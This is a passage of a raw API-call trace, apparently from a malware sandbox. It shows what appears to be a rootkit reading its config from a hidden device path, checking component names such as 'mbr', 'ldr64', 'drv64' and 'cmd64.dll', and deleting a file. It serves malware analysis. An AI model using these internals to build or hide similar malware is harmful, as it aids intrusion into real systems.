FastMutex=0xfffffa80027d3898) [0121.623] KeLeaveCriticalRegion () [0121.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.623] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.623] KeEnterCriticalRegion () [0121.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b63000 [0121.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.623] IdePortDispatch () returned 0x103 [0121.623] KeWaitForMutexObject () returned 0x0 [0121.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.623] IdePortDispatch () returned 0x103 [0121.623] KeWaitForMutexObject () returned 0x0 [0121.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.623] KeLeaveCriticalRegion () [0121.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.624] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.624] KeEnterCriticalRegion () [0121.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.624] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.624] KeLeaveCriticalRegion () [0121.624] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.624] KeEnterCriticalRegion () [0121.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.624] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.624] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd67d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.624] KeLeaveCriticalRegion () [0121.624] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.624] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.624] KeEnterCriticalRegion () [0121.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.624] ExFreePoolWithTag (P=0xfffffa8003bc5b70, Tag=0x0) [0121.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.624] KeLeaveCriticalRegion () [0121.624] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.624] ReleaseMutex (hMutex=0xf0) returned 1 [0121.624] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.624] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.624] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.624] KeEnterCriticalRegion () [0121.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.624] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.624] IdePortDispatch () returned 0x103 [0121.625] KeWaitForMutexObject () returned 0x0 [0121.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.625] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.625] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.625] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.625] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.625] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6570 [0121.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.625] KeLeaveCriticalRegion () [0121.625] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.625] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.625] KeEnterCriticalRegion () [0121.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.625] KeLeaveCriticalRegion () [0121.625] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.625] KeEnterCriticalRegion () [0121.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.625] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.625] IdePortDispatch () returned 0x103 [0121.625] KeWaitForMutexObject () returned 0x0 [0121.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.626] KeLeaveCriticalRegion () [0121.626] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.626] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.626] KeEnterCriticalRegion () [0121.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b64000 [0121.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.626] IdePortDispatch () returned 0x103 [0121.626] KeWaitForMutexObject () returned 0x0 [0121.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.626] IdePortDispatch () returned 0x103 [0121.626] KeWaitForMutexObject () returned 0x0 [0121.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.626] KeLeaveCriticalRegion () [0121.626] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.627] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.627] KeEnterCriticalRegion () [0121.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.627] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.627] KeLeaveCriticalRegion () [0121.627] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.627] KeEnterCriticalRegion () [0121.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.627] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.627] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.627] KeLeaveCriticalRegion () [0121.627] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.627] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.627] KeEnterCriticalRegion () [0121.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.627] ExFreePoolWithTag (P=0xfffffa8003bd6570, Tag=0x0) [0121.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.627] KeLeaveCriticalRegion () [0121.627] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.627] ReleaseMutex (hMutex=0xf0) returned 1 [0121.627] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.627] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.627] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.627] KeEnterCriticalRegion () [0121.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.627] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.627] IdePortDispatch () returned 0x103 [0121.627] KeWaitForMutexObject () returned 0x0 [0121.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.628] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.628] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.628] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.628] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.628] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.628] KeLeaveCriticalRegion () [0121.628] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.628] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.628] KeEnterCriticalRegion () [0121.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.628] KeLeaveCriticalRegion () [0121.628] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.628] KeEnterCriticalRegion () [0121.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.628] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.628] IdePortDispatch () returned 0x103 [0121.628] KeWaitForMutexObject () returned 0x0 [0121.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.628] KeLeaveCriticalRegion () [0121.628] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.628] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.628] KeEnterCriticalRegion () [0121.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b65000 [0121.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.629] IdePortDispatch () returned 0x103 [0121.629] KeWaitForMutexObject () returned 0x0 [0121.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.629] IdePortDispatch () returned 0x103 [0121.629] KeWaitForMutexObject () returned 0x0 [0121.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.629] KeLeaveCriticalRegion () [0121.629] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.630] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.630] KeEnterCriticalRegion () [0121.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.630] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.630] KeLeaveCriticalRegion () [0121.630] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.630] KeEnterCriticalRegion () [0121.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.630] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.630] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.630] KeLeaveCriticalRegion () [0121.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.630] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.630] KeEnterCriticalRegion () [0121.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.630] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.630] KeLeaveCriticalRegion () [0121.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.630] ReleaseMutex (hMutex=0xf0) returned 1 [0121.630] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.630] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.630] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.630] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.630] KeEnterCriticalRegion () [0121.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.630] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.630] IdePortDispatch () returned 0x103 [0121.630] KeWaitForMutexObject () returned 0x0 [0121.630] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.630] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.631] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.631] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.631] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.631] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.631] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.631] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.631] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.631] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.631] KeLeaveCriticalRegion () [0121.631] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.631] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.631] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.631] KeEnterCriticalRegion () [0121.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.631] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.631] IdePortDispatch () returned 0x103 [0121.631] KeWaitForMutexObject () returned 0x0 [0121.631] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.631] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.631] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.631] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.631] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.631] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.631] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.631] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.631] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.631] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.631] KeLeaveCriticalRegion () [0121.631] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.632] ReleaseMutex (hMutex=0x100) returned 1 [0121.632] Sleep (dwMilliseconds=0x2bf20) [0121.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bb1d8b0, dwHighDateTime=0x1d24fa4)) [0121.639] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.639] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.639] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.639] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.639] KeEnterCriticalRegion () [0121.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 